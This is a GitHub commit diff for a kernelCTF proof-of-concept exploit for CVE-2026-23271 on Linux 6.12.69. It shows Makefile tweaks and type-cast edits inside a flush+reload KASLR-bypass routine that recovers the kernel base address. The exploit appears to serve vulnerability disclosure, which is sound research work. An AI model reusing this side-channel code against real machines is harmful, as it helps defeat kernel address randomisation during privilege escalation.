Skip to content

Commit 722cb33

Browse files
committed
update makefile and exploit
1 parent 7d458da commit 722cb33

2 files changed

Lines changed: 8 additions & 9 deletions

File tree

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/Makefile

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,11 @@
11
KERNELXDK_INCLUDE_DIR ?= /usr/local/include
22
KERNELXDK_LIB_DIR ?= /usr/lib
33

4-
CXX = g++
54
CXXFLAGS = -O2 -Wall -static -pthread -I. -I$(KERNELXDK_INCLUDE_DIR)
65
LDFLAGS = -L$(KERNELXDK_LIB_DIR) -lkernelXDK
76

87
exploit: exploit.cpp target_db.kxdb
9-
$(CXX) $(CXXFLAGS) -o $@ $< $(LDFLAGS)
8+
g++ $(CXXFLAGS) -o $@ $< $(LDFLAGS)
109

1110
target_db.kxdb:
1211
wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb

pocs/linux/kernelctf/CVE-2026-23271_lts/exploit/lts-6.12.69/exploit.cpp

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2589,17 +2589,17 @@ int bypass_kaslr(uint64_t base) {
25892589
while (1) {
25902590
uint64_t bases[NUM_TRIALS] = {0};
25912591

2592-
for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
2592+
for (int vote = 0; vote < (int)ARRAY_LEN(bases); vote ++) {
25932593
size_t times[(END - START) / STEP] = {};
25942594
uint64_t addrs[(END - START) / STEP];
25952595

2596-
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
2596+
for (int ti = 0; ti < (int)ARRAY_LEN(times); ti++) {
25972597
times[ti] = ~0;
25982598
addrs[ti] = START + STEP * (uint64_t)ti;
25992599
}
26002600

26012601
for (int i = 0; i < 16; i++) {
2602-
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
2602+
for (int ti = 0; ti < (int)ARRAY_LEN(times); ti++) {
26032603
uint64_t addr = addrs[ti];
26042604
size_t t = flushandreload((void*)addr);
26052605
if (t < times[ti]) {
@@ -2610,7 +2610,7 @@ int bypass_kaslr(uint64_t base) {
26102610

26112611
uint64_t max = 0;
26122612
int max_i = 0;
2613-
for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
2613+
for (int ti = 0; ti < (int)(ARRAY_LEN(times) - WINDOW_SIZE); ti++) {
26142614
uint64_t sum = 0;
26152615
for (int i = 0; i < WINDOW_SIZE; i++) {
26162616
sum += times[ti + i];
@@ -2625,7 +2625,7 @@ int bypass_kaslr(uint64_t base) {
26252625
}
26262626

26272627
int c = 0;
2628-
for (int i = 0; i < ARRAY_LEN(bases); i++) {
2628+
for (int i = 0; i < (int)ARRAY_LEN(bases); i++) {
26292629
if (c == 0) {
26302630
base = bases[i];
26312631
} else if (base == bases[i]) {
@@ -2636,12 +2636,12 @@ int bypass_kaslr(uint64_t base) {
26362636
}
26372637

26382638
c = 0;
2639-
for (int i = 0; i < ARRAY_LEN(bases); i++) {
2639+
for (int i = 0; i < (int)ARRAY_LEN(bases); i++) {
26402640
if (base == bases[i]) {
26412641
c++;
26422642
}
26432643
}
2644-
if (c > ARRAY_LEN(bases) / 2) {
2644+
if (c > (int)(ARRAY_LEN(bases) / 2)) {
26452645
goto got_base;
26462646
}
26472647

0 commit comments

Comments
 (0)